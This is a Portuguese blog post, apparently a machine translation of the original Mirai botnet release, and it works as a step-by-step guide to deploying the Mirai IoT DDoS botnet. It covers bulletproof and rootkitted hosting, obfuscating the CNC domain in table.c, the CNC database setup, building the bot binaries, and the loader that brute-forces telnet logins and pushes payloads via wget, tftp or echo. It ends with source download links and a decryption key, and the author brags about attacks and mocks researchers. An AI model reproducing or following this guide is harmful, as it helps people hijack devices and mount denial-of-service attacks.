COMO MONTAR BotNeT MIRAI

Prefácio

Greetz todo mundo,
Quando eu fui pela primeira vez na indústria de DDoS, eu não estava pensando em ficar nela por muito tempo. Eu ganhei meu dinheiro, há muitos olhos olhando para o IOT agora, então é hora do GTFO. No entanto, eu conheço cada skid e sua mãe, é seu sonho molhado ter algo além de qbot.

Então hoje eu tenho um lançamento incrível para você. Com o Mirai, eu normalmente uso bots máximos de 380k do telnet sozinho. No entanto, após o DDoS do Kreb, os ISPs foram desligando lentamente e limpando seu ato. Hoje, o máximo de puxar é de cerca de 300k bots e caindo.
Então, eu sou seu senpai, e eu vou te tratar bem legal, meu hf-chan.
E para todos que achavam que estavam fazendo alguma coisa batendo no meu CNC, eu dei boas risadas, esse bot usa domínio para CNC. Leva 60 segundos para todos os bots se reconectarem, lol
Também, mensagem a este blog por malwaremustdie
Tive muito respeito por você, achei que você era bom revertido, mas você realmente apenas completamente e totalmente falhou em reverter este binário. "Nós ainda temos kung fu melhor do que seus pequenos" não me faça rir por favor, você cometeu tantos erros e até confundiu alguns binários diferentes com os meus. RI MUITO
Deixe-me dar-lhe alguns tapas de volta -
  1. porta 48101não é para back connect, é para o controle para impedir que várias instâncias de bot rodando juntas
  2. /dev/watchdog/dev/miscnão são para "fazer o atraso", para impedir que o sistema seja suspenso. Este é um fruto baixo, tão triste que você é extremamente burro
  3. Você falhou e pensou FAKE_CNC_ADDRFAKE_CNC_PORTera real CNC, lol "E fazendo o backdoor para conectar via HTTP em 65.222.202.53". você foi tropeçado por fluxo de sinal;) tente mais difícil skiddo
  4. Sua ferramenta esqueleto é uma merda, achava que o decodificador de ataque era "estilo sinden", mas ele nem usa um protocolo baseado em texto? CNC e bot comunicam por protocolo binário
  5. você diz "chroot (" / ") tão previsível como o torlus, mas você não entende, outros matam com base no cwd. Mostra como você é fora de loop com malware real. Volte para o skidland
5 tapas para você
Por que você está escrevendo ferramentas de engenharia reversa? Você não pode reverter corretamente em primeiro lugar. Por favor, aprenda algumas habilidades antes de tentar impressionar os outros. Sua arrogância em declarar como você "me bateu" com sua declaração idiota de kung-fu me fez rir tanto enquanto comer meu SO tinha que me dar tapinhas nas costas.
Assim como eu ser livre para sempre, você estará fadado à mediocracia para sempre.

Requisitos

Mínimo

2 servidores: 1 para CNC + mysql, 1 para o receptor de digitalização e 1+ para carregamento

Pro Setup (minha configuração)

2 VPS e 4 servidores
  • 1 VPS com host extremamente à prova de balas para servidor de banco de dados
  • 1 VPS, rootkitted, para scanReceiver e distribuidor
  • 1 servidor para CNC (usado como 2% de CPU com 400k bots)
  • Servidores NForce 3x 10gbps para carregamento (distribuidor distribui para 3 servidores igualmente)

Visão geral da infraestrutura

  • Para estabelecer conexão com o CNC, os bots resolvem um domínio ( resolv.cresolv.h) e se conectam a esse endereço IP
  • Bots brute telnet usando um scanner SYN avançado que é cerca de 80x mais rápido que o do qbot e usa quase 20x menos recursos. Ao encontrar o resultado brutado, o bot resolve outro domínio e o reporta. Isso é encadeado em um servidor separado para ser carregado automaticamente nos dispositivos conforme os resultados chegam.
  • Os resultados Bruted são enviados por padrão na porta 48101. O utilitário chamado scanListen.go nas ferramentas é usado para receber resultados brutos (eu estava recebendo cerca de 500 resultados brutos por segundo no pico). Se você construir no modo de depuração, deverá ver o binário scanListen do utitlity aparecer na pasta de depuração.
Mirai usa um mecanismo de propagação semelhante ao auto-rep, mas o que eu chamo de "carga em tempo real". Basicamente, os bots brutam os resultados, enviam para um servidor que escuta com scanListenutilidade, que envia os resultados para o loader. Este loop ( brute -> scanListen -> load -> brute) é conhecido como carregamento em tempo real.
O carregador pode ser configurado para usar vários endereços IP para ignorar a exaustão de portas no Linux (há um número limitado de portas disponíveis, o que significa que não há variação suficiente na tupla para obter mais de 65k conexões de saída simultâneas - em teoria, esse lote de valores Menos). Eu teria talvez 60k - 70k conexões de saída simultâneas (carregamento simultâneo) espalhadas por 5 IPs.

Configurando Bot

Bot tem várias opções de configuração que são ofuscadas em table.c/table.h. Em ./mirai/bot/table.hvocê pode encontrar a maioria das descrições das opções de configuração. No entanto, ./mirai/bot/table.c existem algumas opções que você precisa mudar para começar a trabalhar.
  • TABLE_CNC_DOMAIN- Nome de domínio do CNC para se conectar - Evitar DDoS muito divertido com mirai, as pessoas tentam acertar meu CNC, mas eu o atualizo mais rápido do que eles podem encontrar novos IPs, lol. Retarda :)
  • TABLE_CNC_PORT - Porta para conectar, está definido para 23 já
  • TABLE_SCAN_CB_DOMAIN - Ao encontrar resultados brutais, este domínio é relatado para
  • TABLE_SCAN_CB_PORT- Porta para conexão para resultados brutos, já está definida 48101.
Em ./mirai/toolsvocê vai encontrar algo chamado enc.c - Você deve compilar isso para saída de coisas para colocar no arquivo table.c
Execute este diretório mirai dentro
./build.sh debug telnet
Você terá alguns erros relacionados a compiladores cruzados que não estão lá, se você não os configurou. Isso é ok, não afetará a compilação da ferramenta enc
Agora, na ./mirai/debugpasta, você verá um binário compilado chamado enc. Por exemplo, para obter uma string ofuscada para o nome de domínio para os bots se conectarem, use isto:
./debug/enc string fuck.the.police.com
A saída deve ficar assim
XOR'ing 20 bytes of data...\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
Para atualizar o TABLE_CNC_DOMAINvalor, por exemplo, substitua essa cadeia hex longa pela fornecida pela ferramenta enc. Além disso, você vê XOR'ing 20 bytes of data. Esse valor deve substituir o último argumento bem. Então, por exemplo, a linha table.c originalmente se parece com isso
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
Agora que sabemos valor da ferramenta enc, nós a atualizamos assim
add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22", 20); // fuck.the.police.com
Alguns valores são strings, alguns são port (uint16 em ordem de rede / big endian).

Configurando o CNC

apt-get install mysql-server mysql-client
CNC requer banco de dados para trabalhar. Quando você instala o banco de dados, entrar nele e executar seguintes comandos: http://pastebin.com/86d0iL9g (ref: db.sql)
Isto irá criar banco de dados para você. Para adicionar seu usuário,
INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, '');
Agora, vá para o arquivo ./mirai/cnc/main.go
Edite esses valores
const DatabaseAddr string   = "127.0.0.1"const DatabaseUser string   = "root"const DatabasePass string   = "password"const DatabaseTable string  = "mirai"
Para as informações do servidor mysql que você acabou de instalar

Configurando Compiladores Cruzados

Os compiladores cruzados são fáceis, siga as instruções neste link para configurar. Você deve reiniciar seu sistema ou recarregar o arquivo .bashrc para que essas mudanças entrem em vigor.

Construindo CNC + Bot

O CNC, bot e ferramentas relacionadas:
  1. http://santasbigcandycane.cx/mirai.src.zip - ESTES LINKS NÃO SERÃO ÚLTIMOS PARA SEMPRE, 2 SEMANAS MÁXIMAS - ACOMPANHE!
    mirai.src.zip contents
  2. http://santasbigcandycane.cx/loader.src.zip - ESTES LINKS NÃO SERÃO ÚLTIMOS PARA SEMPRE, 2 SEMANAS MÁXIMAS - ACOMPANHE!

Como construir bot + CNC

Na pasta mirai, há build.shscript.
./build.sh debug telnet
Irá debugar os binários de bot que não irão daemonizar e imprimir informações sobre se ele pode se conectar ao CNC, etc, status de floods, etc. Compile para ./mirai/debugpasta
./build.sh release telnet
Produzirá binários prontos para produção do bot que são extremamente despojados, pequenos (cerca de 60K) que devem ser carregados nos dispositivos. Compila todos os binários em formato: mirai.$ARCHpara ./mirai/releasepasta

Carregador de eco de construção

O carregador lê entradas de telnet de STDIN no seguinte formato:
ip:port user:pass
Ele detecta se há wget ou tftp e tenta baixar o binário usando isso. Se não, ele irá ecolocar um pequeno binário (cerca de 1kb) que será suficiente como wget.
./build.sh
Vai construir o carregador, otimizado, uso de produção, sem problemas. Se você tem um arquivo nos formatos usados para o carregamento, você pode fazer isso
cat file.txt | ./loader
Lembre-se de ulimit!
Só está claro, eu não estou fornecendo nenhum tipo de tutorial de ajuda 1 em 1 ou merda, muito tempo. Todos os scripts e tudo estão incluídos para configurar o botnet de trabalho em menos de 1 hora. Estou disposto a ajudar se você tiver dúvidas individuais (como é que o CNC não se conecta ao banco de dados, eu fiz isso este blá blá), mas não perguntas como "Meu bot não conecta, conserte"



DOWNLOAD DOS ARQUIVOS: AQUI
CHAVE: !4IeJO263CCDcB7U8D3W1ayDqy_GR_QUdWtkyBuhOzLc
https://mega.nz/#!AfYXgQQa

Nenhum comentário:

Postar um comentário

Recomendado